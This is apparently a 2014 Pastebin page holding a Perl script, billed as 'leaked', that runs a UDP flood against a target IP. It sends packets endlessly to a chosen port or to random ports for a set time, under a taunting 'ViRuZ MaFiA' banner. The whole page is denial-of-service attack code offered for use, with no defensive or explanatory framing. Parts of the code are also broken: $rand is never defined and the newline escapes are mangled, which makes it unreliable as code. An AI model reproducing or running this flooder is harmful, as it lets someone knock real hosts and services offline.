iViiRuS

lol .::ViRuZ<|>MaFiA::. perl script leaked

Apr 8th, 2014
245
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3.  
  4. use Socket;
  5.  
  6. $ARGC=@ARGV;
  7.  
  8. if ($ARGC !=3) {
  9. printf "To initiate a UDP Floodn";
  10. printf "perl $0 ip port timen";
  11. printf "Coded by VMn";
  12. printf "The Anti-Security Teamn";
  13. exit(1);
  14. }
  15.  
  16. my ($ip,$port,$size,$time);
  17. $ip=$ARGV[0];
  18. $port=$ARGV[1];
  19. $time=$ARGV[2];
  20.  
  21. socket(crazy, PF_INET, SOCK_DGRAM, 17);
  22. $iaddr = inet_aton("$ip");
  23.  
  24. print <<EOTEXT;
  25. .::ViRuZ<|>MaFiA::.
  26. New world order Smackin yo shit bitch.
  27. EOTEXT
  28. printf "~Using Googles DNS To HIT!~ $ip on port $portn";
  29.  
  30. if ($ARGV[1] ==0 && $ARGV[2] ==0) {
  31. goto randpackets;
  32. }
  33. if ($ARGV[1] !=0 && $ARGV[2] !=0) {
  34. system("(sleep $time;killall -9 udp) &");
  35. goto packets;
  36. }
  37. if ($ARGV[1] !=0 && $ARGV[2] ==0) {
  38. goto packets;
  39. }
  40. if ($ARGV[1] ==0 && $ARGV[2] !=0) {
  41. system("(sleep $time;killall -9 udp) &");
  42. goto randpackets;
  43. }
  44.  
  45. packets:
  46. for (;;) {
  47. $size=$rand x $rand x $rand;
  48. send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  49. }
  50.  
  51. randpackets:
  52. for (;;) {
  53. $size=$rand x $rand x $rand;
  54. $port=int(rand 65000) +1;
  55. send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  56. }
RAW Paste Data